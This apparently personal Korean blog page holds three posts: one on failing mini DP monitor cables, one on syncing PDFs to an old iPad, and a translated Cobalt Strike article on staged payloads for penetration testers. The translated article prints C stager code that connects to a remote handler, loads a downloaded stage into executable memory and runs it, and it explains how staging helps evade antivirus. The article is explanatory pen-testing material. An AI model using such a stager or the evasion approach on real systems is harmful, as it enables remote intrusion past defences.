2020년 5월 9일 토요일

mini DP cable

레노보 x230 노트북의 영상 출력 단자는 VGA 포트와 미니 디스플레이(mini DP)가 있다. 디스플레이 포트가 VGA 포트보다 더 높은 해상도를 지원하고 음성 출력도 되기 때문에 외장 모니터를 처음 살 때부터 해당 기능이 있는 것을 골랐는데, 수년 째 사용하면서 한 가지 불편을 반복적으로 겪게 됐다. mini DP - to - DP 케이블의 수명이 짧은 것이다. 화면이 가끔 깜빡거리는 것에서 시작해, 나중에는 화면이 아예 안 나온다. 처음 겪었을 땐 노트북이나 모니터에 이상이 있는 줄 알고 놀랐다가 케이블을 바꿔 해결되어 안도했지만, 문제는 한 번으로 그치지 않고 잊을 만하면 재발했다.

케이블을 사다 갈아끼는 것에 지쳐서 구닥다리 VGA 포트로 돌아갔다. 1년 반 전에 구입한 델 모니터는 다행히 VGA 포트를 없애지 않고 남겨 뒀다(VGA가 있는 걸 일부러 골라서 샀던 걸지도 모르겠다). 더 이상 케이블로 인한 불편을 겪지 않으리라 생각했는데, 현실은 그렇지 않았다. 얼마 전부터 화면에 노이즈가 끼기 시작했다. 처음에는 대수롭지 않은 정도였지만 시간이 갈 수록 더 심해졌다. 그래서 케이블을 또 바꿨다. 다시 mini DP로 돌아가되, 이번에는 5천원짜리가 아니라 배송비 포함 만원짜리를 샀다.

고작 모니터 케이블 때문에 불편을 겪다니, 1980년대 중반부터 컴퓨터를 다루면서 그런 일은 상상도 할 수 없었다. 30년이 지나서 왜 이런 일이 발생할까. 케이블을 얇게 만들어야 잘 팔려서? 무선 디스플레이가 되는 세상에는 쓸데없는 고민일지도 모른다.


2020년 4월 26일 일요일

스테이지된 페이로드

원문: https://blog.cobaltstrike.com/2013/06/28/staged-payloads-what-pen-testers-should-know/

스테이지된 페이로드(Staged Payloads) - 침투 테스터가 알아야 할 것

메타스플로잇 프레임워크는 익스플로잇과 페이로드(익스플로잇 성공 후 실행되는 것)를 디커플링한다. 또한 메타스플로잇 프레임워크는 스테이저(stager)와 스테이지(stage)의 두 부분으로 나뉜다. 스테이저는 큰 페이로드(스테이지)를 다운로드하고, 그것을 메모리에 주입하고, 실행을 전달한다.

그림. 페이로드 스테이징 과정

스테이징은 필요에 의해 생겨났다. 많은 익스플로잇 상황은 공격자가 얼마나 많은 바이트를 변경 없이 메모리의 한 위치에 로딩할 수 있는지에 제약을 받는다. 이러한 상황에서 흥미로운 포스트 익스플로잇을 하는 한 가지 방법은 페이로드를 여러 단계(스테이지)에 걸쳐 전달하는 것이다.

스테이저는 어셈블리 언어로 작성되어 수작업으로 최적화되는 것이 일반적이다. 공격자는 스테이저를 가능한 한 작게 만들려고 한다. 스테이저가 작으면 공격자는 많은 익스플로잇에 자유롭게 사용할 수 있다.

다음 코드는 C로 작성된 스테이저다. 버퍼를 할당하고, 스테이지를 다운로드하고, 그것에 제어를 전달한다. 나는 이 과정을 블로그에 설명했고, 전체 프로그램은 깃허브에 있다.

/* 핸들러에 연결 */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
 
/* 4 바이트를 읽음 */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
    punt(my_socket, "read a strange or incomplete length value\n");

/* RWX 버퍼를 할당 */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
    punt(my_socket, "could not allocate buffer\n");


/* SOCKET 값을 EDI 레지스터에 옮기기 위해 어셈블리를 prepend
   BF 78 56 34 12     =>      mov edi, 0x12345678 */
buffer[0] = 0xBF;
 
/* 소켓의 값을 버퍼에 복사 */
memcpy(buffer + 1, &my_socket, 4);
 
/* 바이트를 버퍼에 읽음 */
count = recv_all(my_socket, buffer + 5, size);
 
/* 버퍼를 함수로 변환해 호출 */
function = (void (*)())buffer;
function();

스테이징은 몇 개의 스테이저를 가지고 다양한 페이로드를 전달할 수 있게 해준다. 내가 스테이저와 호환되는 코드를 갖고 있으면, 나는 스테이저가 지원하는 코드를 전달할 수 있다(크기가 관건이다). 이러한 유연성 덕분에 비콘(Beacon) 같은 페이로드를 메타스플로잇 프레임워크에 맞춰 수정하지 않아도 된다.

스테이저에 의존하면 안티 바이러스 회피도 쉬워진다. 윈도우 미터프리터는 700KB이고 코발트 스트라이크(Cobalt Strike)의 비콘은 120KB다. 크기에 대한 제약이 없다고 가정할 때, 만약 내가 원하는 페이로드 그대로를 전달하기 위해 공격 패키지를 만들면 안티 바이러스 공급자에게 더 많은 단서를 제공해 그들이 시그니처를 작성할 수 있게 된다. 스테이저를 사용해 페이로드를 전달하면 나는 스테이저에 집중할 수 있고 공격 패키지는 안티 바이러스에 잡히지 않을 것이다. 스테이저가 잡히지 않는다면 스테이지도 아마 안전할 것이다.

이론적으로 스테이지 코드는 크기와 위치에 독립적이다. 현실에서는 메타스플로잇 프레임워크와 함께 사용되는 스테이지는 C로 작성된 DLL이다. 이 DLL들은 스테픈 퓨어(Stephen Fewer)가 작성한 반사 DLL 주입 라이브러리(Reflective DLL Injection library)를 가지고 컴파일된다. 이 라이브러리는 메모리로부터 프로세스에 라이브러리를 로드할 수 있다. 동작 원리에 대해서는 스테픈 퓨어가 쓴 반사 DLL 주입 문서(Reflective DLL Injection paper)를 참조하라.

(후략)

2020년 4월 25일 토요일

iPad 1세대 파일 동기화

2010년에 출시된 아이패드 1세대를 아직도 쓰고 있다. 유튜브도 안 되고, 어지간한 웹 사이트나 심지어 앱 스토어를 보는 중에도 다운되기 일쑤다. 팟캐스트는 약간 불편하긴 해도 PC에서 에피소드를 먼저 다운로드한 다음 아이튠즈를 통해 동기화하면 들을 수 있다.

실용적으로 가장 잘 사용하고 있는 앱은 굿리더(GoodReader)다. 유료로 구입한 걸로 기억하는데, 버전 업그레이드를 한 번인가 하고 나서는 iOS 버전 제한 때문에 더 이상 올리지 못했다. 번역 원고를 검토할 때 태블릿에서 보면 좀 더 독자의 입장을 느낄 수 있어서 좋다.

지금까지 PC에 있는 PDF 파일을 아이패드에 넣는 방법을 여러 가지로 시도했다.

1. 아이튠즈에서 동기화 - 수정할 때마다 동기화시키는 것이 번거롭다. 케이블을 꽂았다 뺐다 하기도 귀찮고(WiFi 동기화 기능은 꺼놨다).

2. 클라우드에서 동기화 - 아이패드의 iOS 버전이 낮아서인지 굿리더 버전이 낮아서인지 모르겠지만 제대로 동작하지 않는다.

3. PC에 FTP 서버를 띄우고 굿리더의 FTP 기능을 사용해 동기화 - 그나마 괜찮은 방법이긴 한데, 파일을 수정할 때마다 ftproot 디렉터리에 파일을 옮기는 것도 귀찮고(문서 전체를 FTP에 올리는 건 내키지 않는다), FTP 연결이 끊겨서 다시 시도해야 잘 된다. FTP 서버 설정을 바꿔봤지만 해결 못했다.

4. SMB 사용 - 굿리더가 SMB도 지원한다는 걸 여태 모르고 있다가 오늘에야 발견했다. 내 여건에는 이게 가장 나은 방법인 것 같다.